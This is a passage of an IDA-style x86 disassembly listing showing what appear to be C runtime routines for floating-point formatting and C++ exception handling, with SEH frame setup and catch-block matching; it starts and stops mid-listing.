esp, 14h loc_41CB48: ; CODE XREF: sub_41CA71+94j ; sub_41CA71+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_41CA71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB4F proc near ; CODE XREF: sub_41CC34+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_42074B mov dword_4CDA20, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4CDA28, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_4206D4 mov eax, dword_4CDA20 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4CDA28, ecx setl cl mov byte_4CDA2C, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4CDA28, eax jl short loc_41CBD5 cmp eax, ebx jge short loc_41CBD5 test cl, cl jz short loc_41CBC6 loc_41CBBC: ; CODE XREF: sub_41CB4F+72j mov al, [esi] inc esi test al, al jnz short loc_41CBBC and [esi-2], al loc_41CBC6: ; CODE XREF: sub_41CB4F+6Bj push ebx push [ebp+arg_4] push edi call sub_41CC11 add esp, 0Ch jmp short loc_41CBE5 ; --------------------------------------------------------------------------- loc_41CBD5: ; CODE XREF: sub_41CB4F+63j ; sub_41CB4F+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_41CBEA add esp, 10h loc_41CBE5: ; CODE XREF: sub_41CB4F+84j pop edi pop esi pop ebx pop ebp retn sub_41CB4F endp ; =============== S U B R O U T I N E ======================================= sub_41CBEA proc near ; CODE XREF: sub_41CB4F+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4CDA24, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C96D and byte_4CDA24, 0 add esp, 10h retn sub_41CBEA endp ; =============== S U B R O U T I N E ======================================= sub_41CC11 proc near ; CODE XREF: sub_41CB4F+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4CDA24, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41CA71 and byte_4CDA24, 0 add esp, 0Ch retn sub_41CC11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC34 proc near ; CODE XREF: sub_419E38+3AAp ; DATA XREF: sub_417D8Bo ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_41CC6F cmp [ebp+arg_8], 45h jz short loc_41CC6F cmp [ebp+arg_8], 66h jnz short loc_41CC5C push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41CA71 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_41CC5C: ; CODE XREF: sub_41CC34+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41CB4F jmp short loc_41CC80 ; --------------------------------------------------------------------------- loc_41CC6F: ; CODE XREF: sub_41CC34+7j ; sub_41CC34+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41C96D loc_41CC80: ; CODE XREF: sub_41CC34+39j add esp, 10h pop ebp retn sub_41CC34 endp ; =============== S U B R O U T I N E ======================================= sub_41CC85 proc near ; CODE XREF: sub_41C96D+2Cp ; sub_41CA71+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_41CCA8 push esi mov esi, [esp+8+arg_0] push esi call sub_417AB0 inc eax push eax push esi add esi, edi push esi call sub_4182C0 add esp, 10h pop esi loc_41CCA8: ; CODE XREF: sub_41CC85+7j pop edi retn sub_41CC85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CCAA proc near ; CODE XREF: ___:00417F6Cp ; sub_417FD5+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_41CCC0 call sub_41D552 loc_41CCC0: ; CODE XREF: sub_41CCAA+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_41CCE8 cmp dword ptr [esi+4], 0 jz short loc_41CD3E cmp [ebp+arg_14], 0 jnz short loc_41CD3E push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_41CFF1 add esp, 10h jmp short loc_41CD3E ; --------------------------------------------------------------------------- loc_41CCE8: ; CODE XREF: sub_41CCAA+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_41CD3E cmp dword ptr [eax], 0E06D7363h jnz short loc_41CD22 cmp [eax+14h], edi jbe short loc_41CD22 mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_41CD22 movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_41CD41 ; --------------------------------------------------------------------------- loc_41CD22: ; CODE XREF: sub_41CCAA+4Aj ; sub_41CCAA+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_41CD45 add esp, 20h loc_41CD3E: ; CODE XREF: sub_41CCAA+23j ; sub_41CCAA+29j ... push 1 pop eax loc_41CD41: ; CODE XREF: sub_41CCAA+76j pop edi pop esi pop ebp retn sub_41CCAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CD45 proc near ; CODE XREF: sub_41CCAA+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_41CD65 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_41CD6A loc_41CD65: ; CODE XREF: sub_41CD45+16j call sub_41D552 loc_41CD6A: ; CODE XREF: sub_41CD45+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_41CEC1 cmp dword ptr [esi+10h], 3 jnz short loc_41CDDE cmp [esi+14h], edi jnz short loc_41CDDE cmp dword ptr [esi+1Ch], 0 jnz short loc_41CDDE mov esi, dword_4CDA30 test esi, esi jz loc_41CEBC mov eax, dword_4CDA34 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_4208D2 pop ecx test eax, eax pop ecx jnz short loc_41CDC0 call sub_41D552 loc_41CDC0: ; CODE XREF: sub_41CD45+74j cmp [esi], ebx jnz loc_41CEC1 cmp dword ptr [esi+10h], 3 jnz short loc_41CDDE cmp [esi+14h], edi jnz short loc_41CDDE cmp dword ptr [esi+1Ch], 0 jnz short loc_41CDDE call sub_41D552 loc_41CDDE: ; CODE XREF: sub_41CD45+41j ; sub_41CD45+46j ... cmp [esi], ebx jnz loc_41CEC1 cmp dword ptr [esi+10h], 3 jnz loc_41CEC1 cmp [esi+14h], edi jnz loc_41CEC1 mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_418123 add esp, 14h mov ebx, eax loc_41CE15: ; CODE XREF: sub_41CD45+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_41CEAC cmp [ebx], edi jg short loc_41CEA1 cmp edi, [ebx+4] jg short loc_41CEA1 mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_41CE9E loc_41CE3A: ; CODE XREF: sub_41CD45+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_41CE6B loc_41CE4C: ; CODE XREF: sub_41CD45+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_41CF94 add esp, 0Ch test eax, eax jnz short loc_41CE7A dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_41CE4C loc_41CE6B: ; CODE XREF: sub_41CD45+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_41CE3A jmp short loc_41CE9E ; --------------------------------------------------------------------------- loc_41CE7A: ; CODE XREF: sub_41CD45+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41D0A5 ; --------------------------------------------------------------------------- add esp, 2Ch loc_41CE9E: ; CODE XREF: sub_41CD45+F3j ; sub_41CD45+133j mov edi, [ebp+var_10] loc_41CEA1: ; CODE XREF: sub_41CD45+DEj ; sub_41CD45+E3j inc [ebp+var_4] add ebx, 14h jmp loc_41CE15 ; --------------------------------------------------------------------------- loc_41CEAC: ; CODE XREF: sub_41CD45+D6j cmp [ebp+arg_14], 0 jz short loc_41CEBC push 1 push esi call sub_41D41A pop ecx pop ecx loc_41CEBC: ; CODE XREF: sub_41CD45+56j ; sub_41CD45+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41CEC1: ; CODE XREF: sub_41CD45+37j ; sub_41CD45+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_41CEE7 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41CEEC add esp, 20h jmp short loc_41CEBC ; --------------------------------------------------------------------------- loc_41CEE7: ; CODE XREF: sub_41CD45+180j jmp sub_41D4FC sub_41CD45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CEEC proc near ; CODE XREF: sub_41CD45+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4CDA38, 0 push esi push edi jz short loc_41CF1D push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_417FFA add esp, 1Ch test eax, eax jnz short loc_41CF90 loc_41CF1D: ; CODE XREF: sub_41CEEC+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_418123 add esp, 14h mov esi, eax loc_41CF39: ; CODE XREF: sub_41CEEC+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_41CF90 cmp edi, [esi] jl short loc_41CF88 cmp edi, [esi+4] jg short loc_41CF88 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_41CF62 cmp byte ptr [ecx+8], 0 jnz short loc_41CF88 loc_41CF62: ; CODE XREF: sub_41CEEC+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41D0A5 ; --------------------------------------------------------------------------- add esp, 2Ch loc_41CF88: ; CODE XREF: sub_41CEEC+57j ; sub_41CEEC+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_41CF39 ; --------------------------------------------------------------------------- loc_41CF90: ; CODE XREF: sub_41CEEC+2Fj ; sub_41CEEC+53j pop edi pop esi leave retn sub_41CEEC endp ; =============== S U B R O U T I N E ======================================= sub_41CF94 proc near ; CODE XREF: sub_41CD45+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_41CFEB cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_41CFEB mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_41CFC5 add ecx, 8 push ecx push edx call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41CFE7 loc_41CFC5: ; CODE XREF: sub_41CF94+1Fj test byte ptr [esi], 2 jz short loc_41CFCF test byte ptr [edi], 8 jz short loc_41CFE7 loc_41CFCF: ; CODE XREF: sub_41CF94+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_41CFDE test byte ptr [edi], 1 jz short loc_41CFE7 loc_41CFDE: ; CODE XREF: sub_41CF94+43j test al, 2 jz short loc_41CFEB test byte ptr [edi], 2 jnz short loc_41CFEB loc_41CFE7: ; CODE XREF: sub_41CF94+2Fj ; sub_41CF94+39j ... xor eax, eax jmp short loc_41CFEE ; --------------------------------------------------------------------------- loc_41CFEB: ; CODE XREF: sub_41CF94+Bj ; sub_41CF94+14j ... push 1 pop eax loc_41CFEE: ; CODE XREF: sub_41CF94+55j pop edi pop esi retn sub_41CF94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CFF1 proc near ; CODE XREF: sub_41CCAA+34p ; ___:0041D0E7p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424860 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_41D023: ; CODE XREF: sub_41CFF1+8Aj cmp esi, [ebp+arg_C] jz short loc_41D07D cmp esi, 0FFFFFFFFh jle short loc_41D032 cmp esi, [edi+4] jl short loc_41D037 loc_41D032: ; CODE XREF: sub_41CFF1+3Aj call sub_41D552 loc_41D037: ; CODE XREF: sub_41CFF1+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_41D052 push 103h push ebx push eax call sub_41D4B0 loc_41D052: ; CODE XREF: sub_41CFF1+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_41D072 ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_41D08F pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_41D072: ; CODE XREF: sub_41CFF1+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_41D023 ; --------------------------------------------------------------------------- loc_41D07D: ; CODE XREF: sub_41CFF1+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41CFF1 endp ; =============== S U B R O U T I N E ======================================= sub_41D08F proc near ; CODE XREF: sub_41CFF1+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_41D0A0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41D0A0: ; CODE XREF: sub_41D08F+Cj jmp sub_41D4FC sub_41D08F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D0A5 proc near ; CODE XREF: sub_41CD45+151p ; sub_41CEEC+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_41D0C7 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_41D256 add esp, 10h loc_41D0C7: ; CODE XREF: sub_41D0A5+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_41D0D3 push edi jmp short loc_41D0D6 ; --------------------------------------------------------------------------- loc_41D0D3: ; CODE XREF: sub_41D0A5+29j push [ebp+arg_24] loc_41D0D6: ; CODE XREF: sub_41D0A5+2Cj call sub_417EFC sub_41D0A5 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_41CFF1 mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_41D120 add esp, 2Ch test eax, eax jz short loc_41D11B push edi push eax call sub_417EBA loc_41D11B: ; CODE XREF: ___:0041D112j pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D120 proc near ; CODE XREF: ___:0041D108p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424870 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4CDA30 mov [ebp+var_1C], ecx mov ecx, dword_4CDA34 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4CDA30, edi mov ecx, [ebp+arg_8] mov dword_4CDA34, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_417F81 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_41D1E6 mov eax, [ebp+var_2C] loc_41D1AD: ; CODE XREF: sub_41D1C6+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D120 endp ; =============== S U B R O U T I N E ======================================= sub_41D1BC proc near ; DATA XREF: ___:00424880o push dword ptr [ebp-14h] call sub_41D22C pop ecx retn sub_41D1BC endp ; =============== S U B R O U T I N E ======================================= sub_41D1C6 proc near ; DATA XREF: ___:00424884o mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_4181E2 pop ecx pop ecx xor eax, eax jmp short loc_41D1AD sub_41D1C6 endp ; --------------------------------------------------------------------------- loc_41D1DE: ; DATA XREF: ___:00424878o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_41D1E6 proc near ; CODE XREF: sub_41D120+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4CDA30, eax mov eax, [ebp-20h] mov dword_4CDA34, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_41D22B cmp dword ptr [edi+10h], 3 jnz short locret_41D22B cmp dword ptr [edi+14h], 19930520h jnz short locret_41D22B cmp [ebp-24h], ebx jnz short locret_41D22B cmp [ebp-2Ch], ebx jz short locret_41D22B call sub_41824A push eax push edi call sub_41D41A pop ecx pop ecx locret_41D22B: ; CODE XREF: sub_41D1E6+1Cj ; sub_41D1E6+22j ... retn sub_41D1E6 endp ; =============== S U B R O U T I N E ======================================= sub_41D22C proc near ; CODE XREF: sub_41D1BC+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_41D253 cmp dword ptr [eax+10h], 3 jnz short loc_41D253 cmp dword ptr [eax+14h], 19930520h jnz short loc_41D253 cmp dword ptr [eax+1Ch], 0 jnz short loc_41D253 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D253: ; CODE XREF: sub_41D22C+Cj ; sub_41D22C+12j ... xor eax, eax retn sub_41D22C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D256 proc near ; CODE XREF: sub_41D0A5+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424888 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_41D3FF cmp byte ptr [eax+8], 0 jz loc_41D3FF mov eax, [ecx+8] test eax, eax jz loc_41D3FF mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_41D2F3 mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_4208D2 pop ecx pop ecx test eax, eax jz loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz loc_41D3F6 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_41D2E4: ; CODE XREF: sub_41D256+F5j push eax call sub_41D481 pop ecx pop ecx mov [edi], eax jmp loc_41D3FB ; --------------------------------------------------------------------------- loc_41D2F3: ; CODE XREF: sub_41D256+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_41D34D mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_4208D2 pop ecx pop ecx test eax, eax jz loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz loc_41D3F6 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_4182C0 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_41D3FB mov eax, [edi] test eax, eax jz loc_41D3FB add esi, 8 push esi jmp short loc_41D2E4 ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D256+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_41D395 call sub_4208D2 pop ecx pop ecx test eax, eax jz loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz short loc_41D3F6 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_41D481 pop ecx pop ecx push eax push edi call sub_4182C0 add esp, 0Ch jmp short loc_41D3FB ; --------------------------------------------------------------------------- loc_41D395: ; CODE XREF: sub_41D256+103j call sub_4208D2 pop ecx pop ecx test eax, eax jz short loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz short loc_41D3F6 push dword ptr [esi+18h] call sub_42090A pop ecx test eax, eax jz short loc_41D3F6 test byte ptr [esi], 4 jz short loc_41D3DC push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41D481 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_417EF5 jmp short loc_41D3FB ; --------------------------------------------------------------------------- loc_41D3DC: ; CODE XREF: sub_41D256+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41D481 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_417EEE jmp short loc_41D3FB ; --------------------------------------------------------------------------- loc_41D3F6: ; CODE XREF: sub_41D256+6Aj ; sub_41D256+7Cj ... call sub_41D552 loc_41D3FB: ; CODE XREF: sub_41D256+98j ; sub_41D256+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_41D3FF: ; CODE XREF: sub_41D256+2Ej ; sub_41D256+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D256 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41D4FC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D41A proc near ; CODE XREF: sub_41CD45+170p ; sub_41D1E6+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424898 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_41D461 mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_41D461 and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_417EEE or [ebp+var_4], 0FFFFFFFFh loc_41D461: ; CODE XREF: sub_41D41A+2Aj ; sub_41D41A+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D41A endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41D4FC ; =============== S U B R O U T I N E ======================================= sub_41D481 proc near ; CODE XREF: sub_41D256+8Fp ; sub_41D256+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_41D4A2 mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_41D4A2: ; CODE XREF: sub_41D481+12j pop esi retn sub_41D481 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4B0 proc near ; CODE XREF: sub_417F81+40p ; sub_41CFF1+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41826D push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_41D4EF mov ecx, 2 loc_41D4EF: ; CODE XREF: sub_41D4B0+38j push ecx call sub_41826D pop ebp pop ecx pop ebx leave retn 0Ch sub_41D4B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4FC proc near ; CODE XREF: sub_41CD45:loc_41CEE7j ; sub_41D08F:loc_41D0A0j ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00420922 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4248A8 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4CDA3C test eax, eax jz short loc_41D544 mov [ebp+var_4], 1 call eax jmp short loc_41D540 ; --------------------------------------------------------------------------- loc_41D539: ; DATA XREF: ___:004248B8o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D53D: ; DATA XREF: ___:004248BCo mov esp, [ebp+var_18] loc_41D540: ; CODE XREF: sub_41D4FC+3Bj and [ebp+var_4], 0 loc_41D544: ; CODE XREF: sub_41D4FC+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41D54D: ; DATA XREF: ___:004248B0o jmp loc_420922 sub_41D4FC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D552 proc near ; CODE XREF: sub_418123+23p ; sub_418123:loc_41818Ep ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4248C0 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_435FF4 test eax, eax jz short loc_41D59A mov [ebp+var_4], 1 call eax 